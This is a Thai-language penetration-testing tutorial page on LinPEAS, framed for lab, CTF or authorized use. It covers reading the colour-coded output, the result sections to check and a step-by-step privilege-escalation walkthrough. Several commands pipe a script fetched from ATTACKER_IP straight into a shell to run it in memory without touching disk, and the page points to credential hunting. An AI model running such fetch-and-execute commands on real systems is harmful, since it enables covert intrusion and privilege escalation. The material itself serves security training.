LinPEAS
LinPEAS เป็น script enumeration อัตโนมัติสำหรับ Linux privilege escalation — สแกนระบบทุกด้านแล้ว highlight ช่องทาง privesc ด้วยสีตามความน่าจะเป็น บทนี้ลงลึกการรัน (รวมแบบไม่แตะ disk), การอ่านผลตามสี, การส่งไฟล์เข้าเป้าหมาย, และการใช้คู่ manual (เนื้อหาเพื่อฝึกใน lab/CTF/ระบบที่ได้รับอนุญาต)
1. LinPEAS คืออะไร
LinPEAS (ในชุด PEASS-ng) เป็น script ที่รัน enumeration ครบทุกด้านอัตโนมัติ — system info, SUID/SGID, capabilities, cron, sudo, credential, kernel, service, network — แล้ว highlight ด้วยสีตามความน่าจะเป็นที่ใช้ privesc ได้ ประหยัดเวล่ามากเทียบ manual และมักจับสิ่งที่มองข้าม
2. อ่านผลตามสี (สำคัญสุด)
| สี | ความหมาย |
|---|---|
| แดง/เหลือง (Red/Yellow) | 95% เป็นช่องทาง privesc — ดูก่อน! |
| แดง (Red) | น่าสนใจ ควรตรวจ |
| เหลือง (Yellow) | อาจน่าสนใจ |
| ฟ้า (Blue) | ข้อมูลทั่วไป (directory ฯลฯ) |
| เขียว (Green) | ปกติ/ไม่ค่อยสำคัญ |
-a เพื่อ scan ละเอียดสุด3. การรัน (รวมแบบไม่แตะ disk)
# วิธี 1: ส่งไฟล์เข้าเป้าหมาย (ถ้าเขียน disk ได้)
# บนเครื่องเรา: python3 -m http.server 80
# บนเป้าหมาย:
wget http://ATTACKER_IP/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh && /tmp/lp.sh
# วิธี 2: รันใน memory (ไม่แตะ disk — เนียนกว่า)
curl http://ATTACKER_IP/linpeas.sh | sh
wget -qO- http://ATTACKER_IP/linpeas.sh | sh
# scan ละเอียดสุด
./linpeas.sh -a
# บันทึกผล (ดูทีหลัง) — เก็บสีด้วย
./linpeas.sh -a | tee /tmp/out.txt
# ดูแบบมีสี: less -r /tmp/out.txt4. ส่วนผลที่ต้องดู
- Sudo / SUID / Capabilities: ช่องทางตรงสุด → เทียบ GTFOBins
- Cron jobs: script ที่รันโดย root ที่เราแก้ได้
- Interesting writable files: ไฟล์ระบบที่เขียนได้
- Possible kernel exploits: LinPEAS แนะนำ CVE ตาม kernel
- Credentials: password ใน config/history/memory
- Software with known exploits: เวอร์ชันเก่า
- Network / internal services: port ที่ฟัง localhost
5. Quick Reference
- script enumeration อัตโนมัติ — highlight privesc ด้วยสี
- อ่านสี: แดง/เหลืองพื้นหลัง = 99% PE vector (ดูก่อน)
- รัน in-memory: curl http://IP/linpeas.sh | sh (ไม่แตะ disk)
- scan ละเอียด: ./linpeas.sh -a
- เก็บผล: | tee out.txt; ดูสี: less -r out.txt
- ดู: sudo/SUID/cap/cron/kernel/credential
- ใช้คู่ manual enumeration
🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ
สมมติเพิ่งได้ shell แรกบนเป้าหมาย มีแค่ Kali เปล่าๆ ยังไม่รู้ว่าจะไล่หาช่องทาง privesc จากตรงไหนก่อน — ใช้ LinPEAS เป็นด่านแรกเพื่อลดเวลาสแกนมือ ทำตามนี้ทีละขั้น
- 1บนเครื่อง Kali เปิด terminal ไปที่โฟลเดอร์ที่มี linpeas.sh แล้วรัน python3 -m http.server 80
- 2บนเป้าหมาย พิมพ์ curl http://ATTACKER_IP/linpeas.sh | sh เพื่อรันแบบ in-memory ไม่แตะ disk
- 3ถ้า pipe ตรงไม่ได้ (ไม่มี curl) ให้ wget http://ATTACKER_IP/linpeas.sh -O /tmp/lp.sh แล้ว chmod +x และรัน
- 4รอจนสแกนเสร็จ (อาจ 1-3 นาทีตามระบบ) แล้วเลื่อนหาบรรทัดพื้นหลังสีแดง/เหลืองก่อนเป็นอันดับแรก
- 5ถ้าเจอ SUID/SGID/capability ที่ highlight ไว้ ให้ไปที่หัวข้อ SUID/SGID/Capabilities เพื่อ exploit ต่อ
- 6ถ้าเจอ cron job หรือ writable file ที่ highlight ให้ไปหัวข้อ Cron Jobs หรือ Writable Scripts
- 7ถ้าไม่เห็นอะไรเด่นชัดเลย ให้รันซ้ำแบบละเอียดด้วย ./linpeas.sh -a | tee /tmp/out.txt แล้วเปิดดูด้วย less -r /tmp/out.txt
- 8ไล่ดูทีละ section: Sudo, SUID, Capabilities, Cron, Writable files, Kernel exploits, Credentials, Network
- 9ถ้ายังไม่เจออะไรเลย กลับไปทำ manual enumeration เพิ่มเติม เพราะ LinPEAS ก็พลาดได้บางกรณี
| ขั้นตอน/งาน | เครื่องมือใน Kali | ติดตั้งเพิ่ม (ถ้าไม่มี) | เครื่องมือออนไลน์ |
|---|---|---|---|
| host ไฟล์ linpeas ให้เป้าหมายโหลด | python3 -m http.server | - | - |
| ดาวน์โหลด linpeas บนเป้าหมาย | curl, wget | git clone PEASS-ng (ถ้าไม่มีในเครื่อง) | github.com/peass-ng/PEASS-ng |
| รันแบบ in-memory ไม่แตะ disk | curl ... | sh | - | - |
| เก็บผลพร้อมสี | tee, less -r | - | - |
| monitor process เสริม | - | pspy | - |
| หา exploit เพิ่มจาก CVE ที่แนะนำ | searchsploit | - | exploit-db.com |
| ยืนยัน vector ด้วยมือ | getcap, find, sudo -l | - | gtfobins.github.io |
หัวข้อที่เชื่อมโยง
โน้ตของฉัน
ยังไม่มีโน้ตสำหรับหัวข้อนี้